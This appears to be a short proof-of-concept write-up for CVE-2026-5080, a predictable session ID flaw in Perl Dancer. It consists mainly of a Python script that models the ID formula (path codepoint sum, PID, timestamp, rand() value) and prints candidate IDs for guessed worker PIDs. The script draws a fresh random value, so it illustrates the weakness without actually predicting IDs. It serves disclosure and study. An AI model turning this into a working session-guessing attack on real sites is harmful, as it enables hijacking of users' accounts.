CVE-2026-5080: Perl Dancer会话ID预测漏洞

# PoC: Simulating the vulnerable session ID generation logic in Python # This script demonstrates how predictable the session ID generation is. import random import time def generate_vulnerable_sid(path, pid, epoch_time): # Sum of character codepoints of the absolute pathname path_sum = sum(ord(c) for c in path) # Insecure rand() call (0 to 999-billion) # Note: Actual vulnerability uses Perl's rand() with 32-bit seed random_val = random.randint(0, 999_000_000_000) # Calculate the seed number seed = path_sum + pid + epoch_time + random_val # Concatenate the result three times return f"{seed}{seed}{seed}" # Scenario: Attacker knows the target path and approx time print("[+] CVE-2026-5080 Session ID Prediction PoC") # Common installation path for Perl apps target_path = "/var/www/html/MyDancerApp" # PIDs are often sequential and in a small range (e.g., worker processes) guessed_pids = [1200, 1201, 1202] # Attacker captures the request time from HTTP 'Date' header request_time = int(time.time()) print(f"[*] Target Path: {target_path}") print(f"[*] Request Time (Epoch): {request_time}") print(f"[*] Guessing PIDs: {guessed_pids}") print("[*] Generating possible Session IDs:") for pid in guessed_pids: # Since rand() is weak, we can try a few random values or just the logic # For demonstration, we generate one ID per PID with a random factor sid = generate_vulnerable_sid(target_path, pid, request_time) print(f" PID {pid}: {sid}") print("[!] An attacker could brute force the 'rand' part due to 32-bit seed space.")